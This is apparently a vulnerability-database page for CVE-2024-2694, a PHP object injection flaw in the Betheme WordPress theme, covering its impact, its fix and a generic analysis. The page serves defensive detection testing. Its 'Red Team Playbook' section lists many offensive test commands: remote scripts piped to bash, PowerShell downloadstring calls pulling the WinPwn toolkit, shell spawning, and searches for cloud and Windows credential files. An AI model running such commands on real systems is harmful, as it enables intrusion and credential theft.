CVE-2024-2694
Overview
This vulnerability is a PHP Object Injection caused by unsafe deserialization of untrusted input within the Betheme WordPress theme. The flaw arises from the insecure handling of the 'mfn-page-items' post meta value, which is deserialized without proper validation. The affected component is the Betheme theme, specifically all versions up to and including 27.5.6.
Vulnerability Description
The Betheme theme for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 27.5.6 via deserialization of untrusted input of the 'mfn-page-items' post meta value. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.
Impact
An attacker with contributor-level access or higher can exploit this vulnerability to inject malicious PHP objects, potentially leading to arbitrary file deletion, sensitive data exposure, or remote code execution if a suitable POP chain is present in the environment. The attack requires authentication (PR:L) but no user interaction beyond that, and can be executed remotely (AV:N). This elevates the risk of privilege escalation and persistent compromise within WordPress installations using the vulnerable Betheme versions.
Solution
Users should upgrade MuffinGroup Betheme to a version later than 27.5.6 where this vulnerability is addressed. Detailed patch instructions and updates are available from Wordfence’s advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/a7c31409-c84a-4197-b08c-b70df5e66a80. Additionally, reviewing installed plugins and themes for potential POP chains is recommended to mitigate exploitation risk until patching is complete.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Betheme theme for WordPress stems from a critical flaw in the handling of PHP object deserialization. Specifically, the issue arises from the insecure processing of untrusted input associated with the 'mfn-page-items' post meta value. This flaw allows authenticated users with contributor-level access or higher to exploit the deserialization process, potentially leading to PHP Object Injection. The absence of a known Property-Oriented Programming (POP) chain within the vulnerable theme itself does not mitigate the risk, as the presence of additional plugins or themes could facilitate the construction of such a chain, allowing for more severe attacks.
Attack vectors for this vulnerability are primarily centered around authenticated users who have the requisite permissions to modify post meta values. An attacker could leverage their access to inject malicious PHP objects into the 'mfn-page-items' field. Once injected, if the environment contains other vulnerable components, the attacker could manipulate these objects to perform a variety of malicious actions. Scenarios may include deleting arbitrary files, accessing sensitive data, or executing arbitrary code on the server, depending on the capabilities of the exploited PHP objects. This exploitation could be executed in a relatively straightforward manner, making it accessible even to less sophisticated attackers.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the Betheme theme for their WordPress sites. The potential for attackers to execute arbitrary code or access sensitive information poses a substantial business risk. Organizations could face data breaches, loss of customer trust, and potential regulatory penalties, especially if sensitive user data is compromised. Additionally, the ease of exploitation by authenticated users means that even a single compromised account could lead to widespread damage, amplifying the threat landscape for businesses using this theme.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and remediate insecure deserialization practices. Monitoring user activity, particularly for accounts with contributor-level access, can provide early warnings of potential exploitation attempts. Furthermore, organizations should ensure that all plugins and themes are kept up to date, as updates often include critical security patches. Employing web application firewalls (WAF) can also help filter out malicious requests and prevent exploitation attempts. Finally, educating users about the importance of strong passwords and account security can reduce the likelihood of unauthorized access.
In conclusion, the vulnerability in the Betheme theme for WordPress highlights the critical importance of secure coding practices, particularly concerning deserialization processes. The potential for exploitation by authenticated users poses a serious threat to organizations, necessitating proactive detection and mitigation strategies. By adopting a comprehensive security posture that includes regular updates, monitoring, and user education, organizations can significantly reduce their risk exposure and protect their digital assets from potential compromise.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Muffingroup | Betheme | All |
cpe:2.3:a:muffingroup:betheme:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
63%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2694 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/a7c31409-c84a-4197-b08c-b70df5e66a80?source=cve |
| themeforest.net |
GitHub CVE
|
https://themeforest.net/item/betheme-responsive-multipurpose-wordpress-theme/7758048 |